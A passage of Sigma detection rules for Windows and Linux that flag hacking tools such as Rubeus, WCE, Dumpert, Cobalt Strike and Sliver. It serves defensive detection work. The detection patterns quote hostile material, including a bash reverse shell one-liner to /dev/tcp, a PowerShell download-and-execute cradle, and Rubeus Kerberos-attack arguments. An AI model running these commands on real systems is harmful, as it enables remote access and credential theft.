            - IMPHASH=25CE42B079282632708FC846129E98A5 # Forensia
            - IMPHASH=021BCCA20BA3381B11BDDE26B4E62F20 # EDRSandBlast
            - IMPHASH=59223B5F52D8799D38E0754855CBDF42 # EDRSandBlast
            - IMPHASH=81E75D8F1D276C156653D3D8813E4A43 # EDRSandBlast
            - IMPHASH=17244E8B6B8227E57FE709CCAD421420 # EDRSandBlast
            - IMPHASH=5B76DA3ACDEDC8A5CDF23A798B5936B4 # EDRSandBlast
            - IMPHASH=CB2B65BB77D995CC1C0E5DF1C860133C # EDRSandBlast
            - IMPHASH=40445337761D80CF465136FAFB1F63E6 # EDRSandBlast
            - IMPHASH=8A790F401B29FA87BC1E56F7272B3AA6 # EDRSilencer
            - IMPHASH=B50199E952C875241B9CE06C971CE3C1 # EventLogCrasher
    condition: selection
falsepositives:
    - Legitimate use of one of these tools
level: critical

title: HackTool - Rubeus Execution
id: 7ec2c172-dceb-4c10-92c9-87c1881b7e18
related:
    - id: 7ec2c172-dceb-4c10-92c9-87c1881b7e18
      type: similar
status: stable
description: Detects the execution of the hacktool Rubeus via PE information of command line parameters
references:
    - https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus
    - https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
    - https://github.com/GhostPack/Rubeus
author: Florian Roth (Nextron Systems)
date: 2018-12-19
modified: 2023-04-20
tags:
    - attack.credential-access
    - attack.t1003
    - attack.t1558.003
    - attack.lateral-movement
    - attack.t1550.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\Rubeus.exe'
        - OriginalFileName: 'Rubeus.exe'
        - Description: 'Rubeus'
        - CommandLine|contains:
              - 'asreproast '
              - 'dump /service:krbtgt '
              - 'dump /luid:0x'
              - 'kerberoast '
              - 'createnetonly /program:'
              - 'ptt /ticket:'
              - '/impersonateuser:'
              - 'renew /ticket:'
              - 'asktgt /user:'
              - 'harvest /interval:'
              - 's4u /user:'
              - 's4u /ticket:'
              - 'hash /password:'
              - 'golden /aes256:'
              - 'silver /user:'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Potential Credential Dumping Via LSASS Process Clone
id: c8da0dfd-4ed0-4b68-962d-13c9c884384e
status: test
description: Detects a suspicious LSASS process process clone that could be a sign of credential dumping activity
references:
    - https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/
    - https://twitter.com/Hexacorn/status/1420053502554951689
    - https://twitter.com/SBousseaden/status/1464566846594691073?s=20
author: Florian Roth (Nextron Systems), Samir Bousseaden
date: 2021-11-27
modified: 2023-03-02
tags:
    - attack.credential-access
    - attack.t1003
    - attack.t1003.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Windows\System32\lsass.exe'
        Image|endswith: '\Windows\System32\lsass.exe'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: WCE wceaux.dll Access
id: 1de68c67-af5c-4097-9c85-fe5578e09e67
status: test
description: Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host
references:
    - https://www.jpcert.or.jp/english/pub/sr/ir_research.html
    - https://jpcertcc.github.io/ToolAnalysisResultSheet
author: Thomas Patzke
date: 2017-06-14
modified: 2025-01-30
tags:
    - attack.credential-access
    - attack.t1003
    - attack.s0005
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID:
            - 4656
            - 4663
        ObjectName|endswith: '\wceaux.dll'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: HackTool - Dumpert Process Dumper Default File
id: 93d94efc-d7ad-4161-ad7d-1638c4f908d8
related:
    - id: 2704ab9e-afe2-4854-a3b1-0c0706d03578
      type: derived
status: test
description: Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory
references:
    - https://github.com/outflanknl/Dumpert
    - https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
author: Florian Roth (Nextron Systems)
date: 2020-02-04
modified: 2023-05-09
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: 'dumpert.dmp'
    condition: selection
falsepositives:
    - Very unlikely
level: critical

title: HackTool - Credential Dumping Tools Named Pipe Created
id: 961d0ba2-3eea-4303-a930-2cf78bbfcc5e
status: test
description: Detects well-known credential dumping tools execution via specific named pipe creation
references:
    - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
    - https://image.slidesharecdn.com/zeronights2017kheirkhabarov-171118103000/75/hunting-for-credentials-dumping-in-windows-environment-57-2048.jpg?cb=1666035799
author: Teymur Kheirkhabarov, oscd.community
date: 2019-11-01
modified: 2023-08-07
tags:
    - attack.credential-access
    - attack.t1003.001
    - attack.t1003.002
    - attack.t1003.004
    - attack.t1003.005
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName|contains:
            - '\cachedump'
            - '\lsadump'
            - '\wceservicepipe'
    condition: selection
falsepositives:
    - Legitimate Administrator using tool for password recovery
level: critical

title: HackTool - Inveigh Execution
id: b99a1518-1ad5-4f65-bc95-1ffff97a8fd0
status: test
description: Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool
references:
    - https://github.com/Kevin-Robertson/Inveigh
    - https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-24
modified: 2023-02-04
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\Inveigh.exe'
        - OriginalFileName:
              - '\Inveigh.exe'
              - '\Inveigh.dll'
        - Description: 'Inveigh'
        - CommandLine|contains:
              - ' -SpooferIP'
              - ' -ReplyToIPs '
              - ' -ReplyToDomains '
              - ' -ReplyToMACs '
              - ' -SnifferIP'
    condition: selection
falsepositives:
    - Very unlikely
level: critical

title: HackTool - SafetyKatz Execution
id: b1876533-4ed5-4a83-90f3-b8645840a413
status: test
description: Detects the execution of the hacktool SafetyKatz via PE information and default Image name
references:
    - https://github.com/GhostPack/SafetyKatz
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-20
modified: 2023-02-04
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\SafetyKatz.exe'
        - OriginalFileName: 'SafetyKatz.exe'
        - Description: 'SafetyKatz'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: HackTool - Dumpert Process Dumper Execution
id: 2704ab9e-afe2-4854-a3b1-0c0706d03578
status: test
description: Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory
references:
    - https://github.com/outflanknl/Dumpert
    - https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
author: Florian Roth (Nextron Systems)
date: 2020-02-04
modified: 2025-01-22
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Hashes|contains: 'MD5=09D278F9DE118EF09163C6140255C690'
        - CommandLine|contains: 'Dumpert.dll'
    condition: selection
falsepositives:
    - Very unlikely
level: critical

title: HackTool - Windows Credential Editor (WCE) Execution
id: 7aa7009a-28b9-4344-8c1f-159489a390df
status: test
description: |
    Detects the use of Windows Credential Editor (WCE), a popular post-exploitation tool used to extract plaintext passwords, hash, PIN code and Kerberos tickets from memory.
    It is often used by threat actors for credential dumping and lateral movement within compromised networks.
references:
    - https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2025-10-21
tags:
    - attack.credential-access
    - attack.t1003.001
    - attack.s0005
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith:
            - '\WCE.exe'
            - '\WCE64.exe'
    selection_hash:
        Hashes|contains:
            - 'IMPHASH=136F0A8572C058A96436C82E541E4C41'
            - 'IMPHASH=589657C64DDE88533186C39F82FA1F50'
            - 'IMPHASH=6BFE09EFCB4FFDE061EBDBAFC4DB84CF'
            - 'IMPHASH=7D490037BF450877E6D0287BDCFF8D2E'
            - 'IMPHASH=8AB93B061287C79F3088C5BC7E7D97ED'
            - 'IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F'
            - 'IMPHASH=BA434A7A729EEC20E136CA4C32D6C740'
            - 'IMPHASH=BD1D1547DA13C0FCB6C15E86217D5EB8'
            - 'IMPHASH=E96A73C7BF33A464C510EDE582318BF2'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: critical

title: Windows Credential Editor Registry
id: a6b33c02-8305-488f-8585-03cb2a7763f2
status: test
description: Detects the use of Windows Credential Editor (WCE)
references:
    - https://www.ampliasecurity.com/research/windows-credentials-editor/
author: Florian Roth (Nextron Systems)
date: 2019-12-31
modified: 2021-11-27
tags:
    - attack.credential-access
    - attack.t1003.001
    - attack.s0005
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: Services\WCESERVICE\Start
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Potential Credential Dumping Via LSASS SilentProcessExit Technique
id: 55e29995-75e7-451a-bef0-6225e2f13597
related:
    - id: 36803969-5421-41ec-b92f-8500f79c23b0
      type: similar
status: test
description: Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process
references:
    - https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
    - https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
author: Florian Roth (Nextron Systems)
date: 2021-02-26
modified: 2022-12-19
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|contains: 'Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: HackTool - QuarksPwDump Dump File
id: 847def9e-924d-4e90-b7c4-5f581395a2b4
status: test
description: Detects a dump file written by QuarksPwDump password dumper
references:
    - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm
author: Florian Roth (Nextron Systems)
date: 2018-02-10
modified: 2024-06-27
tags:
    - attack.credential-access
    - attack.t1003.002
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains|all:
            - '\AppData\Local\Temp\SAM-'
            - '.dmp'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Wmiprvse Wbemcomn DLL Hijack - File
id: 614a7e17-5643-4d89-b6fe-f9df1a79641c
status: test
description: Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.
references:
    - https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-10-12
modified: 2022-12-02
tags:
    - attack.execution
    - attack.t1047
    - attack.lateral-movement
    - attack.t1021.002
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image: System
        TargetFilename|endswith: '\wbem\wbemcomn.dll'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Potential DCOM InternetExplorer.Application DLL Hijack
id: 2f7979ae-f82b-45af-ac1d-2b10e93b0baa
related:
    - id: e554f142-5cf3-4e55-ace9-a1b59e0def65
      type: obsolete
    - id: f354eba5-623b-450f-b073-0b5b2773b6aa
      type: similar
status: test
description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network
references:
    - https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga
date: 2020-10-12
modified: 2022-12-18
tags:
    - attack.lateral-movement
    - attack.t1021.002
    - attack.t1021.003
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image: System
        TargetFilename|endswith: '\Internet Explorer\iertutil.dll'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: Potential DCOM InternetExplorer.Application DLL Hijack - Image Load
id: f354eba5-623b-450f-b073-0b5b2773b6aa
related:
    - id: e554f142-5cf3-4e55-ace9-a1b59e0def65
      type: obsolete
    - id: 2f7979ae-f82b-45af-ac1d-2b10e93b0baa
      type: similar
status: test
description: Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class
references:
    - https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
author: Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR), wagga
date: 2020-10-12
modified: 2022-12-18
tags:
    - attack.lateral-movement
    - attack.t1021.002
    - attack.t1021.003
logsource:
    product: windows
    category: image_load
detection:
    selection:
        Image|endswith: '\Internet Explorer\iexplore.exe'
        ImageLoaded|endswith: '\Internet Explorer\iertutil.dll'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: CobaltStrike Service Installations - System
id: 5a105d34-05fc-401e-8553-272b45c1522d
status: test
description: Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement
references:
    - https://www.sans.org/webcasts/119395
    - https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/
    - https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
author: Florian Roth (Nextron Systems), Wojciech Lesicki
date: 2021-05-26
modified: 2022-11-27
tags:
    - attack.persistence
    - attack.execution
    - attack.privilege-escalation
    - attack.lateral-movement
    - attack.t1021.002
    - attack.t1543.003
    - attack.t1569.002
logsource:
    product: windows
    service: system
detection:
    selection_id:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
    selection1:
        ImagePath|contains|all:
            - 'ADMIN$'
            - '.exe'
    selection2:
        ImagePath|contains|all:
            - '%COMSPEC%'
            - 'start'
            - 'powershell'
    selection3:
        ImagePath|contains: 'powershell -nop -w hidden -encodedcommand'
    selection4:
        ImagePath|base64offset|contains: "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:"
    condition: selection_id and (selection1 or selection2 or selection3 or selection4)
falsepositives:
    - Unknown
level: critical

title: Renamed Whoami Execution
id: f1086bf7-a0c4-4a37-9102-01e573caf4a0
status: test
description: Detects the execution of whoami that has been renamed to a different name to avoid detection
references:
    - https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
    - https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
author: Florian Roth (Nextron Systems)
date: 2021-08-12
modified: 2022-10-09
tags:
    - attack.discovery
    - attack.t1033
    - car.2016-03-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        OriginalFileName: 'whoami.exe'
    filter:
        Image|endswith: '\whoami.exe'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

title: Wmiexec Default Output File
id: 8d5aca11-22b3-4f22-b7ba-90e60533e1fb
status: test
description: Detects the creation of the default output filename used by the wmiexec tool
references:
    - https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/
    - https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-02
modified: 2023-03-08
tags:
    - attack.lateral-movement
    - attack.execution
    - attack.t1047
logsource:
    category: file_event
    product: windows
detection:
    selection:
        - TargetFilename|re: '\\Windows\\__1\d{9}\.\d{1,7}$' # Admin$
        - TargetFilename|re: 'C:\\__1\d{9}\.\d{1,7}$' # C$
        - TargetFilename|re: 'D:\\__1\d{9}\.\d{1,7}$' # D$
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: CobaltStrike Named Pipe
id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2
related:
    - id: 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 # Patterns
      type: similar
    - id: 0e7163d4-9e19-4fa7-9be6-000c61aad77a # Regex
      type: similar
status: test
description: Detects the creation of a named pipe as used by CobaltStrike
references:
    - https://twitter.com/d4rksystem/status/1357010969264873472
    - https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/
    - https://github.com/SigmaHQ/sigma/issues/253
    - https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/
    - https://redcanary.com/threat-detection-report/threats/cobalt-strike/
author: Florian Roth (Nextron Systems), Wojciech Lesicki
date: 2021-05-25
modified: 2022-10-31
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can always use Cobalt Strike, but also you can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection_MSSE:
        PipeName|contains|all:
            - '\MSSE-'
            - '-server'
    selection_postex:
        PipeName|startswith: '\postex_' # Also include the pipe "\postex_ssh_"
    selection_status:
        PipeName|startswith: '\status_'
    selection_msagent:
        PipeName|startswith: '\msagent_'
    selection_mojo:
        PipeName|startswith: '\mojo_'
    selection_interprocess:
        PipeName|startswith: '\interprocess_'
    selection_samr:
        PipeName|startswith: '\samr_'
    selection_netlogon:
        PipeName|startswith: '\netlogon_'
    selection_srvsvc:
        PipeName|startswith: '\srvsvc_'
    selection_lsarpc:
        PipeName|startswith: '\lsarpc_'
    selection_wkssvc:
        PipeName|startswith: '\wkssvc_'
    condition: 1 of selection*
falsepositives:
    - Unknown
level: critical

title: Malicious Named Pipe Created
id: fe3ac066-98bb-432a-b1e7-a5229cb39d4a
status: test
description: Detects the creation of a named pipe seen used by known APTs or malware.
references:
    - https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/
    - https://securelist.com/faq-the-projectsauron-apt/75533/
    - https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
    - https://www.us-cert.gov/ncas/alerts/TA17-117A
    - https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
    - https://thedfirreport.com/2020/06/21/snatch-ransomware/
    - https://github.com/RiccardoAncarani/LiquidSnake
    - https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
    - https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a
    - https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
    - https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/
    - https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
author: Florian Roth (Nextron Systems), blueteam0ps, elhoim
date: 2017-11-06
modified: 2023-08-07
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName:
            - '\46a676ab7f179e511e30dd2dc41bd388'  # Project Sauron
            - '\583da945-62af-10e8-4902-a8f205c72b2e'  # SolarWinds SUNBURST malware
            - '\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7'  # LiquidSnake
            - '\9f81f59bc58452127884ce513865ed20'  # Project Sauron
            - '\adschemerpc'  # Turla HyperStack
            - '\ahexec'  # Sofacy group malware
            - '\AnonymousPipe'  # Hidden Cobra Hoplight
            - '\bc31a7'  # Pacifier
            - '\bc367'  # Pacifier
            - '\bizkaz'  # Snatch Ransomware
            - '\csexecsvc' # CSEXEC default
            - '\dce_3d' # Qbot
            - '\e710f28d59aa529d6792ca6ff0ca1b34'  # Project Sauron
            - '\gruntsvc' # Covenant default
            - '\isapi_dg'  # Uroburos Malware
            - '\isapi_dg2'  # Uroburos Malware
            - '\isapi_http'  # Uroburos Malware
            - '\jaccdpqnvbrrxlaf' # PoshC2 default
            - '\lsassw'  # Wild Neutron APT malware
            - '\NamePipe_MoreWindows'  # Cloud Hopper - RedLeaves
            - '\pcheap_reuse'  # Pipe used by Equation Group malware
            - '\Posh*' # PoshC2 default
            - '\rpchlp_3'  # Project Sauron
            - '\sdlrpc'  # Cobra Trojan
            - '\svcctl' # Crackmapexec smbexec default
            - '\testPipe'  # Emissary Panda Hyperbro
            - '\winsession'  # Wild Neutron APT malware
            # - '\status_*' # CS default  https://github.com/SigmaHQ/sigma/issues/253
    condition: selection
falsepositives:
    - Unknown
level: critical

title: CobaltStrike Named Pipe Pattern Regex
id: 0e7163d4-9e19-4fa7-9be6-000c61aad77a
related:
    - id: 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 # Patterns
      type: similar
    - id: d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 # Generic
      type: similar
status: test
description: Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles
references:
    - https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575
    - https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752
author: Florian Roth (Nextron Systems)
date: 2021-07-30
modified: 2022-12-31
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can always use Cobalt Strike, but also you can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        - PipeName|re: '\\mojo\.5688\.8052\.(?:183894939787088877|35780273329370473)[0-9a-f]{2}'
        - PipeName|re: '\\wkssvc_?[0-9a-f]{2}'
        - PipeName|re: '\\ntsvcs[0-9a-f]{2}'
        - PipeName|re: '\\DserNamePipe[0-9a-f]{2}'
        - PipeName|re: '\\SearchTextHarvester[0-9a-f]{2}'
        - PipeName|re: '\\mypipe-(?:f|h)[0-9a-f]{2}'
        - PipeName|re: '\\windows\.update\.manager[0-9a-f]{2,3}'
        - PipeName|re: '\\ntsvcs_[0-9a-f]{2}'
        - PipeName|re: '\\scerpc_?[0-9a-f]{2}'
        - PipeName|re: '\\PGMessagePipe[0-9a-f]{2}'
        - PipeName|re: '\\MsFteWds[0-9a-f]{2}'
        - PipeName|re: '\\f4c3[0-9a-f]{2}'
        - PipeName|re: '\\fullduplex_[0-9a-f]{2}'
        - PipeName|re: '\\msrpc_[0-9a-f]{4}'
        - PipeName|re: '\\win\\msrpc_[0-9a-f]{2}'
        - PipeName|re: '\\f53f[0-9a-f]{2}'
        - PipeName|re: '\\rpc_[0-9a-f]{2}'
        - PipeName|re: '\\spoolss_[0-9a-f]{2}'
        - PipeName|re: '\\Winsock2\\CatalogChangeListener-[0-9a-f]{3}-0,'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: HackTool - DInjector PowerShell Cradle Execution
id: d78b5d61-187d-44b6-bf02-93486a80de5a
status: test
description: Detects the use of the Dinject PowerShell cradle based on the specific flags
references:
    - https://web.archive.org/web/20211001064856/https://github.com/snovvcrash/DInjector # Original got deleted. This is a fork
author: Florian Roth (Nextron Systems)
date: 2021-12-07
modified: 2023-02-04
tags:
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains|all:
            - ' /am51'
            - ' /password'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: HackTool - Sliver C2 Implant Activity Pattern
id: 42333b2c-b425-441c-b70e-99404a17170f
status: test
description: Detects process activity patterns as seen being used by Sliver C2 framework implants
references:
    - https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36
    - https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
author: Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-08-25
modified: 2023-03-05
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Bad Opsec Powershell Code Artifacts
id: 8d31a8ce-46b5-4dd6-bdc3-680931f1db86
related:
    - id: 73e733cc-1ace-3212-a107-ff2523cc9fc3
      type: derived
status: test
description: |
    focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including
    Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads
    that often undergo minimal changes by attackers due to bad opsec.
references:
    - https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/
    - https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
    - https://www.mdeditor.tw/pl/pgRt
author: 'ok @securonix invrep_de, oscd.community'
date: 2020-10-09
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_module
    definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
detection:
    selection_4103:
        Payload|contains:
            - '$DoIt'
            - 'harmj0y'
            - 'mattifestation'
            - '_RastaMouse'
            - 'tifkin_'
            - '0xdeadbeef'
    condition: selection_4103
falsepositives:
    - 'Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments.'
level: critical

title: Silence.EDA Detection
id: 3ceb2083-a27f-449a-be33-14ec1b7cc973
status: test
description: Detects Silence EmpireDNSAgent as described in the Group-IP report
references:
    - https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf
author: Alina Stepchenkova, Group-IB, oscd.community
date: 2019-11-01
modified: 2023-04-03
tags:
    - attack.execution
    - attack.t1059.001
    - attack.command-and-control
    - attack.t1071.004
    - attack.t1572
    - attack.impact
    - attack.t1529
    - attack.g0091
    - attack.s0363
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    empire:
        # better to randomise the order
        ScriptBlockText|contains|all:
            - 'System.Diagnostics.Process'
            - 'Stop-Computer'
            - 'Restart-Computer'
            - 'Exception in execution'
            - '$cmdargs'
            - 'Close-Dnscat2Tunnel'
    dnscat:
        # better to randomise the order
        ScriptBlockText|contains|all:
            - 'set type=$LookupType`nserver'
            - '$Command | nslookup 2>&1 | Out-String'
            - 'New-RandomDNSField'
            - '[Convert]::ToString($SYNOptions, 16)'
            - '$Session.Dead = $True'
            - '$Session["Driver"] -eq'
    condition: empire and dnscat
falsepositives:
    - Unknown
level: critical

title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    category: network_connection
detection:
    selection:
        Image|endswith: '/bin/bash'
    filter:
        DestinationIp:
            - '127.0.0.1'
            - '0.0.0.0'
    condition: selection and not filter
falsepositives:
    - Unknown
level: critical

title: HackTool - BabyShark Agent Default URL Pattern
id: 304810ed-8853-437f-9e36-c4975c3dfd7e
status: test
description: Detects Baby Shark C2 Framework default communication patterns
references:
    - https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845
author: Florian Roth (Nextron Systems)
date: 2021-06-09
modified: 2024-02-15
tags:
    - attack.command-and-control
    - attack.t1071.001
logsource:
    category: proxy
detection:
    selection:
        c-uri|contains: 'momyshark\?key='
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: PwnDrp Access
id: 2b1ee7e4-89b6-4739-b7bb-b811b6607e5e
status: test
description: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity
references:
    - https://breakdev.org/pwndrop/
author: Florian Roth (Nextron Systems)
date: 2020-04-15
modified: 2021-11-27
tags:
    - attack.command-and-control
    - attack.t1071.001
    - attack.t1102.001
    - attack.t1102.003
logsource:
    category: proxy
